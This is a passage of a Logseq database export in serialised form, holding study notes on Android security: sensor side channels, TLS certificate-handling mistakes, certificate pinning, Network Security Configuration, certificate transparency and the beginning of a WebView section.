logseq____"],536876458]],[logseq____"^15logseq____",[756,logseq____"^Hlogseq____",398,536876458]],[logseq____"^15logseq____",[756,logseq____"^;logseq____",logseq____"~u67bb27ea-94e6-4e3a-af45-af50fa2fb258logseq____",536876416]],[logseq____"^15logseq____",[757,logseq____"^Qlogseq____",logseq____"App receives a system broadcast where the app is expected to launch a UIlogseq____",536876474]],[logseq____"^15logseq____",[757,logseq____"^Ologseq____",logseq____"^16logseq____",536876431]],[logseq____"^15logseq____",[757,logseq____"^Flogseq____",756,536876431]],[logseq____"^15logseq____",[757,logseq____"^Xlogseq____",689,536876431]],[logseq____"^15logseq____",[757,logseq____"^Vlogseq____",748,536876431]],[logseq____"^15logseq____",[757,logseq____"^Ulogseq____",689,536876462]],[logseq____"^15logseq____",[757,logseq____"^?logseq____",[logseq____"^ logseq____"],536876474]],[logseq____"^15logseq____",[757,logseq____"^;logseq____",logseq____"~u67bb27fd-585d-4b2b-ada5-17f0fe7f3c1blogseq____",536876431]],[logseq____"^15logseq____",[758,logseq____"^Qlogseq____",logseq____"App has been granted the `SYSTEM_ALERT_WINDOW` permissionlogseq____",536876490]],[logseq____"^15logseq____",[758,logseq____"^Ologseq____",logseq____"^16logseq____",536876474]],[logseq____"^15logseq____",[758,logseq____"^Flogseq____",757,536876474]],[logseq____"^15logseq____",[758,logseq____"^Xlogseq____",689,536876474]],[logseq____"^15logseq____",[758,logseq____"^Vlogseq____",748,536876474]],[logseq____"^15logseq____",[758,logseq____"^Ulogseq____",689,536876475]],[logseq____"^15logseq____",[758,logseq____"^?logseq____",[logseq____"^ logseq____"],536876490]],[logseq____"^15logseq____",[758,logseq____"^;logseq____",logseq____"~u67bb2832-9e61-42a1-84ff-86a159eb20d3logseq____",536876474]],[logseq____"^15logseq____",[759,logseq____"^Qlogseq____",logseq____"## Sensorical Side-Channelslogseq____",536876500]],[logseq____"^15logseq____",[759,logseq____"^Ologseq____",logseq____"^16logseq____",536876493]],[logseq____"^15logseq____",[759,logseq____"^Flogseq____",743,536876495]],[logseq____"^15logseq____",[759,logseq____"^Xlogseq____",689,536876493]],[logseq____"^15logseq____",[759,logseq____"^Vlogseq____",689,536876495]],[logseq____"^15logseq____",[759,logseq____"^Ulogseq____",689,536876494]],[logseq____"^15logseq____",[759,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876500]],[logseq____"^15logseq____",[759,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536876500]],[logseq____"^15logseq____",[759,logseq____"^;logseq____",logseq____"~u67bb287b-abde-4909-a40b-4a664f06c5f3logseq____",536876493]],[logseq____"^15logseq____",[760,logseq____"^Qlogseq____",logseq____"Use Gyroscope to fingerprint letters when typinglogseq____",536876516]],[logseq____"^15logseq____",[760,logseq____"^Ologseq____",logseq____"^16logseq____",536876500]],[logseq____"^15logseq____",[760,logseq____"^Flogseq____",759,536876500]],[logseq____"^15logseq____",[760,logseq____"^Xlogseq____",689,536876500]],[logseq____"^15logseq____",[760,logseq____"^Vlogseq____",759,536876504]],[logseq____"^15logseq____",[760,logseq____"^Ulogseq____",689,536876501]],[logseq____"^15logseq____",[760,logseq____"^?logseq____",[logseq____"^ logseq____"],536876516]],[logseq____"^15logseq____",[760,logseq____"^;logseq____",logseq____"~u67bb2881-7f9f-4f10-8a8d-ef476f3a2e50logseq____",536876500]],[logseq____"^15logseq____",[761,logseq____"^Qlogseq____",logseq____"Place phone next to keyboard (mesure vibrations when typing)logseq____",536876538]],[logseq____"^15logseq____",[761,logseq____"^Ologseq____",logseq____"^16logseq____",536876516]],[logseq____"^15logseq____",[761,logseq____"^Flogseq____",760,536876516]],[logseq____"^15logseq____",[761,logseq____"^Xlogseq____",689,536876516]],[logseq____"^15logseq____",[761,logseq____"^Vlogseq____",759,536876516]],[logseq____"^15logseq____",[761,logseq____"^Ulogseq____",689,536876517]],[logseq____"^15logseq____",[761,logseq____"^?logseq____",[logseq____"^ logseq____"],536876538]],[logseq____"^15logseq____",[761,logseq____"^;logseq____",logseq____"~u67bb288c-8f8c-4761-abbe-3de86bcd828blogseq____",536876516]],[logseq____"^15logseq____",[762,logseq____"^Qlogseq____",logseq____"Gyproscope as voice analyzer (vibrations from sound)logseq____",536876560]],[logseq____"^15logseq____",[762,logseq____"^Ologseq____",logseq____"^16logseq____",536876538]],[logseq____"^15logseq____",[762,logseq____"^Flogseq____",761,536876538]],[logseq____"^15logseq____",[762,logseq____"^Xlogseq____",689,536876538]],[logseq____"^15logseq____",[762,logseq____"^Vlogseq____",759,536876538]],[logseq____"^15logseq____",[762,logseq____"^Ulogseq____",689,536876539]],[logseq____"^15logseq____",[762,logseq____"^?logseq____",[logseq____"^ logseq____"],536876560]],[logseq____"^15logseq____",[762,logseq____"^;logseq____",logseq____"~u67bb28a3-6193-4d17-8b52-20d1ceac53f4logseq____",536876538]],[logseq____"^15logseq____",[764,logseq____"^Qlogseq____",logseq____"## [[SSL / TLS]]logseq____",536877058]],[logseq____"^15logseq____",[764,logseq____"^Ologseq____",logseq____"^16logseq____",536876573]],[logseq____"^15logseq____",[764,logseq____"^@logseq____",false,536876573]],[logseq____"^15logseq____",[764,logseq____"^Flogseq____",690,536876573]],[logseq____"^15logseq____",[764,logseq____"^Xlogseq____",296,536876573]],[logseq____"^15logseq____",[764,logseq____"^Vlogseq____",690,536876575]],[logseq____"^15logseq____",[764,logseq____"^Ulogseq____",296,536876581]],[logseq____"^15logseq____",[764,logseq____"^Ulogseq____",765,536876581]],[logseq____"^15logseq____",[764,logseq____"^Ulogseq____",766,536876581]],[logseq____"^15logseq____",[764,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[764,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[764,logseq____"^Hlogseq____",765,536878163]],[logseq____"^15logseq____",[764,logseq____"^Hlogseq____",766,536878163]],[logseq____"^15logseq____",[764,logseq____"^;logseq____",logseq____"~u67bb294e-ed5e-4903-b0e6-3df021c93982logseq____",536876573]],[logseq____"^15logseq____",[765,logseq____"^Klogseq____",1740319070567,536876580]],[logseq____"^15logseq____",[765,logseq____"^Ologseq____",logseq____"^16logseq____",536876587]],[logseq____"^15logseq____",[765,logseq____"^@logseq____",false,536876580]],[logseq____"^15logseq____",[765,logseq____"^Ylogseq____",logseq____"ssl / tlslogseq____",536876580]],[logseq____"^15logseq____",[765,logseq____"^Alogseq____",766,536876580]],[logseq____"^15logseq____",[765,logseq____"^11logseq____",logseq____"SSL / TLSlogseq____",536876580]],[logseq____"^15logseq____",[765,logseq____"^Blogseq____",1740324449298,536877014]],[logseq____"^15logseq____",[765,logseq____"^;logseq____",logseq____"~u67bd79bb-b7f2-48b7-b0cf-eb63e570a54alogseq____",536878163]],[logseq____"^15logseq____",[766,logseq____"^Klogseq____",1740319070567,536876580]],[logseq____"^15logseq____",[766,logseq____"^@logseq____",false,536876580]],[logseq____"^15logseq____",[766,logseq____"^Ylogseq____",logseq____"ssl logseq____",536876580]],[logseq____"^15logseq____",[766,logseq____"^11logseq____",logseq____"SSL logseq____",536876580]],[logseq____"^15logseq____",[766,logseq____"^Blogseq____",1740319070567,536876580]],[logseq____"^15logseq____",[766,logseq____"^;logseq____",logseq____"~u67bd79bb-5231-4b10-94ec-68a423b85772logseq____",536878163]],[logseq____"^15logseq____",[767,logseq____"^Qlogseq____",logseq____"## Problemslogseq____",536876595]],[logseq____"^15logseq____",[767,logseq____"^Ologseq____",logseq____"^16logseq____",536876588]],[logseq____"^15logseq____",[767,logseq____"^@logseq____",false,536876588]],[logseq____"^15logseq____",[767,logseq____"^Flogseq____",765,536876588]],[logseq____"^15logseq____",[767,logseq____"^Xlogseq____",765,536876588]],[logseq____"^15logseq____",[767,logseq____"^Vlogseq____",765,536876588]],[logseq____"^15logseq____",[767,logseq____"^Ulogseq____",765,536876589]],[logseq____"^15logseq____",[767,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876595]],[logseq____"^15logseq____",[767,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536876595]],[logseq____"^15logseq____",[767,logseq____"^;logseq____",logseq____"~u67bb2963-7de9-4d50-8019-db01a5290836logseq____",536876588]],[logseq____"^15logseq____",[769,logseq____"^Qlogseq____",logseq____"Study revealed 20% of apps improperly handle certificates (accept all certificates or hostnames)logseq____",536876629]],[logseq____"^15logseq____",[769,logseq____"^Ologseq____",logseq____"^16logseq____",536876596]],[logseq____"^15logseq____",[769,logseq____"^@logseq____",false,536876596]],[logseq____"^15logseq____",[769,logseq____"^Flogseq____",767,536876596]],[logseq____"^15logseq____",[769,logseq____"^Xlogseq____",765,536876596]],[logseq____"^15logseq____",[769,logseq____"^Vlogseq____",767,536876598]],[logseq____"^15logseq____",[769,logseq____"^Ulogseq____",765,536876597]],[logseq____"^15logseq____",[769,logseq____"^?logseq____",[logseq____"^ logseq____"],536876629]],[logseq____"^15logseq____",[769,logseq____"^;logseq____",logseq____"~u67bb2c69-d015-4f4c-8952-1816fe403c1dlogseq____",536876596]],[logseq____"^15logseq____",[770,logseq____"^Qlogseq____",logseq____"StackOverflow contains insecure codelogseq____",536876642]],[logseq____"^15logseq____",[770,logseq____"^Ologseq____",logseq____"^16logseq____",536876632]],[logseq____"^15logseq____",[770,logseq____"^@logseq____",false,536876632]],[logseq____"^15logseq____",[770,logseq____"^Flogseq____",769,536876632]],[logseq____"^15logseq____",[770,logseq____"^Xlogseq____",765,536876632]],[logseq____"^15logseq____",[770,logseq____"^Vlogseq____",767,536876632]],[logseq____"^15logseq____",[770,logseq____"^Ulogseq____",765,536876633]],[logseq____"^15logseq____",[770,logseq____"^?logseq____",[logseq____"^ logseq____"],536876642]],[logseq____"^15logseq____",[770,logseq____"^;logseq____",logseq____"~u67bb2e5f-cd3d-4a69-ab2d-cb3bbc099256logseq____",536876632]],[logseq____"^15logseq____",[771,logseq____"^Qlogseq____",logseq____"Hostname Verification (Custom implementation mostly NOPs returning true)logseq____",536876684]],[logseq____"^15logseq____",[771,logseq____"^Ologseq____",logseq____"^16logseq____",536876642]],[logseq____"^15logseq____",[771,logseq____"^@logseq____",false,536876642]],[logseq____"^15logseq____",[771,logseq____"^Flogseq____",770,536876642]],[logseq____"^15logseq____",[771,logseq____"^Xlogseq____",765,536876642]],[logseq____"^15logseq____",[771,logseq____"^Vlogseq____",767,536876642]],[logseq____"^15logseq____",[771,logseq____"^Ulogseq____",765,536876643]],[logseq____"^15logseq____",[771,logseq____"^?logseq____",[logseq____"^ logseq____"],536876684]],[logseq____"^15logseq____",[771,logseq____"^;logseq____",logseq____"~u67bb2e66-2646-4df4-ac4d-3e76c52a561dlogseq____",536876642]],[logseq____"^15logseq____",[772,logseq____"^Qlogseq____",logseq____"Certificate Chain Errors (Custom implementation mostly NOPs returning true): self-signed CA, compromised PKIlogseq____",536876718]],[logseq____"^15logseq____",[772,logseq____"^Ologseq____",logseq____"^16logseq____",536876664]],[logseq____"^15logseq____",[772,logseq____"^@logseq____",false,536876664]],[logseq____"^15logseq____",[772,logseq____"^Flogseq____",771,536876664]],[logseq____"^15logseq____",[772,logseq____"^Xlogseq____",765,536876664]],[logseq____"^15logseq____",[772,logseq____"^Vlogseq____",767,536876664]],[logseq____"^15logseq____",[772,logseq____"^Ulogseq____",765,536876665]],[logseq____"^15logseq____",[772,logseq____"^?logseq____",[logseq____"^ logseq____"],536876718]],[logseq____"^15logseq____",[772,logseq____"^;logseq____",logseq____"~u67bb2f27-a694-409d-8d5c-6b6805a38e82logseq____",536876664]],[logseq____"^15logseq____",[773,logseq____"^Qlogseq____",logseq____"## Certificate Pinninglogseq____",536876737]],[logseq____"^15logseq____",[773,logseq____"^Ologseq____",logseq____"^16logseq____",536876668]],[logseq____"^15logseq____",[773,logseq____"^@logseq____",false,536876668]],[logseq____"^15logseq____",[773,logseq____"^Flogseq____",767,536876721]],[logseq____"^15logseq____",[773,logseq____"^Xlogseq____",765,536876668]],[logseq____"^15logseq____",[773,logseq____"^Vlogseq____",765,536876721]],[logseq____"^15logseq____",[773,logseq____"^Ulogseq____",765,536876669]],[logseq____"^15logseq____",[773,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876737]],[logseq____"^15logseq____",[773,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536876737]],[logseq____"^15logseq____",[773,logseq____"^;logseq____",logseq____"~u67bb2f2c-d261-4446-b313-606b5f12e22dlogseq____",536876668]],[logseq____"^15logseq____",[775,logseq____"^Qlogseq____",logseq____"Load trusted CA certificate from assetslogseq____",536876741]],[logseq____"^15logseq____",[775,logseq____"^Ologseq____",logseq____"^16logseq____",536876730]],[logseq____"^15logseq____",[775,logseq____"^@logseq____",false,536876730]],[logseq____"^15logseq____",[775,logseq____"^Flogseq____",773,536876730]],[logseq____"^15logseq____",[775,logseq____"^Xlogseq____",765,536876730]],[logseq____"^15logseq____",[775,logseq____"^Vlogseq____",773,536876732]],[logseq____"^15logseq____",[775,logseq____"^Ulogseq____",765,536876738]],[logseq____"^15logseq____",[775,logseq____"^?logseq____",[logseq____"^ logseq____"],536876741]],[logseq____"^15logseq____",[775,logseq____"^;logseq____",logseq____"~u67bb309d-5bca-4825-8028-ebd300d94c1flogseq____",536876730]],[logseq____"^15logseq____",[776,logseq____"^Qlogseq____",logseq____"Create custom TrustManager for chainlogseq____",536876764]],[logseq____"^15logseq____",[776,logseq____"^Ologseq____",logseq____"^16logseq____",536876741]],[logseq____"^15logseq____",[776,logseq____"^@logseq____",false,536876741]],[logseq____"^15logseq____",[776,logseq____"^Flogseq____",775,536876741]],[logseq____"^15logseq____",[776,logseq____"^Xlogseq____",765,536876741]],[logseq____"^15logseq____",[776,logseq____"^Vlogseq____",773,536876741]],[logseq____"^15logseq____",[776,logseq____"^Ulogseq____",765,536876742]],[logseq____"^15logseq____",[776,logseq____"^?logseq____",[logseq____"^ logseq____"],536876764]],[logseq____"^15logseq____",[776,logseq____"^;logseq____",logseq____"~u67bb3498-6512-4211-8a47-0586d2f691e6logseq____",536876741]],[logseq____"^15logseq____",[777,logseq____"^Qlogseq____",logseq____"Create custom SSLContext with pinned CA certificatelogseq____",536876782]],[logseq____"^15logseq____",[777,logseq____"^Ologseq____",logseq____"^16logseq____",536876757]],[logseq____"^15logseq____",[777,logseq____"^@logseq____",false,536876757]],[logseq____"^15logseq____",[777,logseq____"^Flogseq____",776,536876757]],[logseq____"^15logseq____",[777,logseq____"^Xlogseq____",765,536876757]],[logseq____"^15logseq____",[777,logseq____"^Vlogseq____",773,536876757]],[logseq____"^15logseq____",[777,logseq____"^Ulogseq____",765,536876758]],[logseq____"^15logseq____",[777,logseq____"^?logseq____",[logseq____"^ logseq____"],536876782]],[logseq____"^15logseq____",[777,logseq____"^;logseq____",logseq____"~u67bb34a7-4718-4102-83be-8ee38f1f3892logseq____",536876757]],[logseq____"^15logseq____",[778,logseq____"^Qlogseq____",logseq____"## Network Security Configurationlogseq____",536876803]],[logseq____"^15logseq____",[778,logseq____"^Ologseq____",logseq____"^16logseq____",536876785]],[logseq____"^15logseq____",[778,logseq____"^@logseq____",false,536876785]],[logseq____"^15logseq____",[778,logseq____"^Flogseq____",773,536876785]],[logseq____"^15logseq____",[778,logseq____"^Xlogseq____",765,536876785]],[logseq____"^15logseq____",[778,logseq____"^Vlogseq____",765,536876785]],[logseq____"^15logseq____",[778,logseq____"^Ulogseq____",765,536876786]],[logseq____"^15logseq____",[778,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876803]],[logseq____"^15logseq____",[778,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536876803]],[logseq____"^15logseq____",[778,logseq____"^;logseq____",logseq____"~u67bb35c9-d2ce-456d-a168-d41f6c8b7830logseq____",536876785]],[logseq____"^15logseq____",[781,logseq____"^Qlogseq____",logseq____"Introduced in Android 7logseq____",536876816]],[logseq____"^15logseq____",[781,logseq____"^Ologseq____",logseq____"^16logseq____",536876803]],[logseq____"^15logseq____",[781,logseq____"^@logseq____",false,536876803]],[logseq____"^15logseq____",[781,logseq____"^Flogseq____",778,536876803]],[logseq____"^15logseq____",[781,logseq____"^Xlogseq____",765,536876803]],[logseq____"^15logseq____",[781,logseq____"^Vlogseq____",778,536876805]],[logseq____"^15logseq____",[781,logseq____"^Ulogseq____",765,536876804]],[logseq____"^15logseq____",[781,logseq____"^?logseq____",[logseq____"^ logseq____"],536876816]],[logseq____"^15logseq____",[781,logseq____"^;logseq____",logseq____"~u67bb3aff-0da3-473a-884f-973be45e7526logseq____",536876803]],[logseq____"^15logseq____",[782,logseq____"^Qlogseq____",logseq____"Allows for Configuration of CAs, debugging overrides, permitting clear-text trafficlogseq____",536876854]],[logseq____"^15logseq____",[782,logseq____"^Ologseq____",logseq____"^16logseq____",536876816]],[logseq____"^15logseq____",[782,logseq____"^@logseq____",false,536876816]],[logseq____"^15logseq____",[782,logseq____"^Flogseq____",781,536876816]],[logseq____"^15logseq____",[782,logseq____"^Xlogseq____",765,536876816]],[logseq____"^15logseq____",[782,logseq____"^Vlogseq____",778,536876816]],[logseq____"^15logseq____",[782,logseq____"^Ulogseq____",765,536876817]],[logseq____"^15logseq____",[782,logseq____"^?logseq____",[logseq____"^ logseq____"],536876854]],[logseq____"^15logseq____",[782,logseq____"^;logseq____",logseq____"~u67bb3b09-6b4a-4773-988c-5702b8031ab9logseq____",536876816]],[logseq____"^15logseq____",[784,logseq____"^Qlogseq____",logseq____"No configuration for hostname verificationlogseq____",536876864]],[logseq____"^15logseq____",[784,logseq____"^Ologseq____",logseq____"^16logseq____",536876857]],[logseq____"^15logseq____",[784,logseq____"^@logseq____",false,536876857]],[logseq____"^15logseq____",[784,logseq____"^Flogseq____",782,536876857]],[logseq____"^15logseq____",[784,logseq____"^Xlogseq____",765,536876857]],[logseq____"^15logseq____",[784,logseq____"^Vlogseq____",778,536876857]],[logseq____"^15logseq____",[784,logseq____"^Ulogseq____",765,536876858]],[logseq____"^15logseq____",[784,logseq____"^?logseq____",[logseq____"^ logseq____"],536876864]],[logseq____"^15logseq____",[784,logseq____"^;logseq____",logseq____"~u67bb3c40-d3ae-4c4c-b991-c9e6806a81c5logseq____",536876857]],[logseq____"^15logseq____",[785,logseq____"^Qlogseq____",logseq____"## Certificate Transparencylogseq____",536876874]],[logseq____"^15logseq____",[785,logseq____"^Ologseq____",logseq____"^16logseq____",536876867]],[logseq____"^15logseq____",[785,logseq____"^@logseq____",false,536876867]],[logseq____"^15logseq____",[785,logseq____"^Flogseq____",778,536876871]],[logseq____"^15logseq____",[785,logseq____"^Xlogseq____",765,536876867]],[logseq____"^15logseq____",[785,logseq____"^Vlogseq____",765,536876871]],[logseq____"^15logseq____",[785,logseq____"^Ulogseq____",765,536876868]],[logseq____"^15logseq____",[785,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876874]],[logseq____"^15logseq____",[785,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536876874]],[logseq____"^15logseq____",[785,logseq____"^;logseq____",logseq____"~u67bb3cb8-8643-4060-87fb-c458e47de59flogseq____",536876867]],[logseq____"^15logseq____",[786,logseq____"^Qlogseq____",logseq____"Have logging server with cryptographically ensured append-only logs, e.g., via Merkle hash treeslogseq____",536876899]],[logseq____"^15logseq____",[786,logseq____"^Ologseq____",logseq____"^16logseq____",536876877]],[logseq____"^15logseq____",[786,logseq____"^@logseq____",false,536876877]],[logseq____"^15logseq____",[786,logseq____"^Flogseq____",785,536876877]],[logseq____"^15logseq____",[786,logseq____"^Xlogseq____",765,536876877]],[logseq____"^15logseq____",[786,logseq____"^Vlogseq____",785,536876879]],[logseq____"^15logseq____",[786,logseq____"^Ulogseq____",765,536876878]],[logseq____"^15logseq____",[786,logseq____"^?logseq____",[logseq____"^ logseq____"],536876899]],[logseq____"^15logseq____",[786,logseq____"^;logseq____",logseq____"~u67bb3cc2-abc6-4cbe-b6fb-de8da4c2101blogseq____",536876877]],[logseq____"^15logseq____",[787,logseq____"^Qlogseq____",logseq____"Clients can verify SCT(Signed Certificate Timestamp), i.e., verify that the certificate is validlogseq____",536876933]],[logseq____"^15logseq____",[787,logseq____"^Ologseq____",logseq____"^16logseq____",536876902]],[logseq____"^15logseq____",[787,logseq____"^@logseq____",false,536876902]],[logseq____"^15logseq____",[787,logseq____"^Flogseq____",786,536876902]],[logseq____"^15logseq____",[787,logseq____"^Xlogseq____",765,536876902]],[logseq____"^15logseq____",[787,logseq____"^Vlogseq____",785,536876902]],[logseq____"^15logseq____",[787,logseq____"^Ulogseq____",765,536876903]],[logseq____"^15logseq____",[787,logseq____"^?logseq____",[logseq____"^ logseq____"],536876933]],[logseq____"^15logseq____",[787,logseq____"^;logseq____",logseq____"~u67bb3d3e-6c9c-4a6d-9167-89d1b316ca18logseq____",536876902]],[logseq____"^15logseq____",[788,logseq____"^Qlogseq____",logseq____"Usally embedded as `X.509v3` certificate extensionlogseq____",536876969]],[logseq____"^15logseq____",[788,logseq____"^Ologseq____",logseq____"^16logseq____",536876936]],[logseq____"^15logseq____",[788,logseq____"^@logseq____",false,536876936]],[logseq____"^15logseq____",[788,logseq____"^Flogseq____",787,536876936]],[logseq____"^15logseq____",[788,logseq____"^Xlogseq____",765,536876936]],[logseq____"^15logseq____",[788,logseq____"^Vlogseq____",785,536876936]],[logseq____"^15logseq____",[788,logseq____"^Ulogseq____",765,536876937]],[logseq____"^15logseq____",[788,logseq____"^?logseq____",[logseq____"^ logseq____"],536876969]],[logseq____"^15logseq____",[788,logseq____"^;logseq____",logseq____"~u67bb3d74-65eb-46c8-86e7-58f072bfbf6dlogseq____",536876936]],[logseq____"^15logseq____",[789,logseq____"^Qlogseq____",logseq____"Usually, multiple SCTs are requiredlogseq____",536876979]],[logseq____"^15logseq____",[789,logseq____"^Ologseq____",logseq____"^16logseq____",536876972]],[logseq____"^15logseq____",[789,logseq____"^@logseq____",false,536876972]],[logseq____"^15logseq____",[789,logseq____"^Flogseq____",788,536876972]],[logseq____"^15logseq____",[789,logseq____"^Xlogseq____",765,536876972]],[logseq____"^15logseq____",[789,logseq____"^Vlogseq____",785,536876972]],[logseq____"^15logseq____",[789,logseq____"^Ulogseq____",765,536876973]],[logseq____"^15logseq____",[789,logseq____"^?logseq____",[logseq____"^ logseq____"],536876979]],[logseq____"^15logseq____",[789,logseq____"^;logseq____",logseq____"~u67bb3dba-8313-456a-ba81-7200501df28flogseq____",536876972]],[logseq____"^15logseq____",[790,logseq____"^Qlogseq____",logseq____"Does not precent certificate misuse (only minizes effect)logseq____",536877001]],[logseq____"^15logseq____",[790,logseq____"^Ologseq____",logseq____"^16logseq____",536876982]],[logseq____"^15logseq____",[790,logseq____"^@logseq____",false,536876982]],[logseq____"^15logseq____",[790,logseq____"^Flogseq____",789,536876982]],[logseq____"^15logseq____",[790,logseq____"^Xlogseq____",765,536876982]],[logseq____"^15logseq____",[790,logseq____"^Vlogseq____",785,536876982]],[logseq____"^15logseq____",[790,logseq____"^Ulogseq____",765,536876983]],[logseq____"^15logseq____",[790,logseq____"^?logseq____",[logseq____"^ logseq____"],536877001]],[logseq____"^15logseq____",[790,logseq____"^;logseq____",logseq____"~u67bb3dd5-74e7-48b2-b52a-c80961df8bcdlogseq____",536876982]],[logseq____"^15logseq____",[791,logseq____"^Qlogseq____",logseq____"Bears privacy issues of publicly available logslogseq____",536877014]],[logseq____"^15logseq____",[791,logseq____"^Ologseq____",logseq____"^16logseq____",536877004]],[logseq____"^15logseq____",[791,logseq____"^@logseq____",false,536877004]],[logseq____"^15logseq____",[791,logseq____"^Flogseq____",790,536877004]],[logseq____"^15logseq____",[791,logseq____"^Xlogseq____",765,536877004]],[logseq____"^15logseq____",[791,logseq____"^Vlogseq____",785,536877004]],[logseq____"^15logseq____",[791,logseq____"^Ulogseq____",765,536877005]],[logseq____"^15logseq____",[791,logseq____"^?logseq____",[logseq____"^ logseq____"],536877014]],[logseq____"^15logseq____",[791,logseq____"^;logseq____",logseq____"~u67bb3e55-9186-4db1-b3c6-e4fa493de9cflogseq____",536877004]],[logseq____"^15logseq____",[792,logseq____"^Qlogseq____",logseq____"logseq____",536877014]],[logseq____"^15logseq____",[792,logseq____"^Ologseq____",logseq____"^16logseq____",536877014]],[logseq____"^15logseq____",[792,logseq____"^@logseq____",false,536877014]],[logseq____"^15logseq____",[792,logseq____"^Flogseq____",791,536877014]],[logseq____"^15logseq____",[792,logseq____"^Xlogseq____",765,536877014]],[logseq____"^15logseq____",[792,logseq____"^Vlogseq____",785,536877014]],[logseq____"^15logseq____",[792,logseq____"^Ulogseq____",765,536877015]],[logseq____"^15logseq____",[792,logseq____"^?logseq____",[logseq____"^ logseq____"],536877014]],[logseq____"^15logseq____",[792,logseq____"^;logseq____",logseq____"~u67bb3e61-dcd6-45c0-a75a-dbbe5d4155eelogseq____",536877014]],[logseq____"^15logseq____",[795,logseq____"^Qlogseq____",logseq____"## [[WebViews]]logseq____",536877065]],[logseq____"^15logseq____",[795,logseq____"^Ologseq____",logseq____"^16logseq____",536877058]],[logseq____"^15logseq____",[795,logseq____"^@logseq____",false,536877058]],[logseq____"^15logseq____",[795,logseq____"^Flogseq____",764,536877058]],[logseq____"^15logseq____",[795,logseq____"^Xlogseq____",296,536877058]],[logseq____"^15logseq____",[795,logseq____"^Vlogseq____",690,536877058]],[logseq____"^15logseq____",[795,logseq____"^Ulogseq____",296,536877066]],[logseq____"^15logseq____",[795,logseq____"^Ulogseq____",796,536877066]],[logseq____"^15logseq____",[795,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[795,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[795,logseq____"^Hlogseq____",796,536878163]],[logseq____"^15logseq____",[795,logseq____"^;logseq____",logseq____"~u67bb3f23-ccbe-4591-a690-d114c8032c36logseq____",536877058]],[logseq____"^15logseq____",[796,logseq____"^Klogseq____",1740324648314,536877065]],[logseq____"^15logseq____",[796,logseq____"^Ologseq____",logseq____"^16logseq____",536877073]],[logseq____"^15logseq____",[796,logseq____"^@logseq____",false,536877065]],[logseq____"^15logseq____",[796,logseq____"^Ylogseq____",logseq____"webviewslogseq____",536877065]],[logseq____"^15logseq____",[796,logseq____"^11logseq____",logseq____"WebViewslogseq____",536877065]],[logseq____"^15logseq____",[796,logseq____"^Blogseq____",1740327999803,536877805]],[logseq____"^15logseq____",[796,logseq____"^;logseq____",logseq____"~u67bd79bb-441f-4f6b-abb3-680df0011c2blogseq____",536878163]],[logseq____"^15logseq____",[797,logseq____"^Qlogseq____",logseq____"## [[DeepLinks/AppLinks]]logseq____",536877808]],[logseq____"^15logseq____",[797,logseq____"^Ologseq____",logseq____"^16logseq____",536877067]],[logseq____"^15logseq____",[797,logseq____"^@logseq____",false,536877067]],[logseq____"^15logseq____",[797,logseq____"^Flogseq____",795,536877067]],[logseq____"^15logseq____",[797,logseq____"^Xlogseq____",296,536877067]],[logseq____"^15logseq____",[797,logseq____"^Vlogseq____",690,536877067]],[logseq____"^15logseq____",[797,logseq____"^Ulogseq____",296,536877809]],[logseq____"^15logseq____",[797,logseq____"^Ulogseq____",833,536877809]],[logseq____"^15logseq____",[797,logseq____"^Ulogseq____",834,536877809]],[logseq____"^15logseq____",[797,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[797,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[797,logseq____"^Hlogseq____",833,536878163]],[logseq____"^15logseq____",[797,logseq____"^Hlogseq____",834,536878163]],[logseq____"^15logseq____",[797,logseq____"^;logseq____",logseq____"~u67bb3f28-a644-4926-afeb-e73af09624d4logseq____",536877067]],[logseq____"^15logseq____",[798,logseq____"^Qlogseq____",logseq____"## General Informationlogseq____",536877077]],[logseq____"^15logseq____",[798,logseq____"^Ologseq____",logseq____"^16logseq____",536877074]],[logseq____"^15logseq____",[798,logseq____"^@logseq____",false,536877074]],[logseq____"^15logseq____",[798,logseq____"^Flogseq____",796,536877074]],[logseq____"^15logseq____",[798,logseq____"^Xlogseq____",796,536877074]],[logseq____"^15logseq____",[798,logseq____"^Vlogseq____",796,536877074]],[logseq____"^15logseq____",[798,logseq____"^Ulogseq____",796,536877075]],[logseq____"^15logseq____",[798,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536877077]],[logseq____"^15logseq____",[798,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536877077]],[logseq____"^15logseq____",[798,logseq____"^;logseq____",logseq____"~u67bb3f29-fc3d-4ed0-a3c6-d78c9d5dde11logseq____",536877074]],[logseq____"^15logseq____",[799,logseq____"^Qlogseq____",logseq____"Used to integrate websites into appslogseq____",536877097]],[logseq____"^15logseq____",[799,logseq____"^Ologseq____",logseq____"^16logseq____",536877077]],[logseq____"^15logseq____",[799,logseq____"^@logseq____",false,536877077]],[logseq____"^15logseq____",[799,logseq____"^Flogseq____",798,536877077]],[logseq____"^15logseq____",[799,logseq____"^Xlogseq____",796,536877077]],[logseq____"^15logseq____",[799,logseq____"^Vlogseq____",798,536877079]],[logseq____"^15logseq____",[799,logseq____"^Ulogseq____",796,536877078]],[logseq____"^15logseq____",[799,logseq____"^?logseq____",[logseq____"^ logseq____"],536877097]],[logseq____"^15logseq____",[799,logseq____"^;logseq____",logseq____"~u67bb3f51-4aec-4a56-8aec-dd93204a7a87logseq____",536877077]],[logseq____"^15logseq____",[801,logseq____"^Qlogseq____",logseq____"Developer needs to provide error handlers in `WebViewClient` to abort loading untrusted 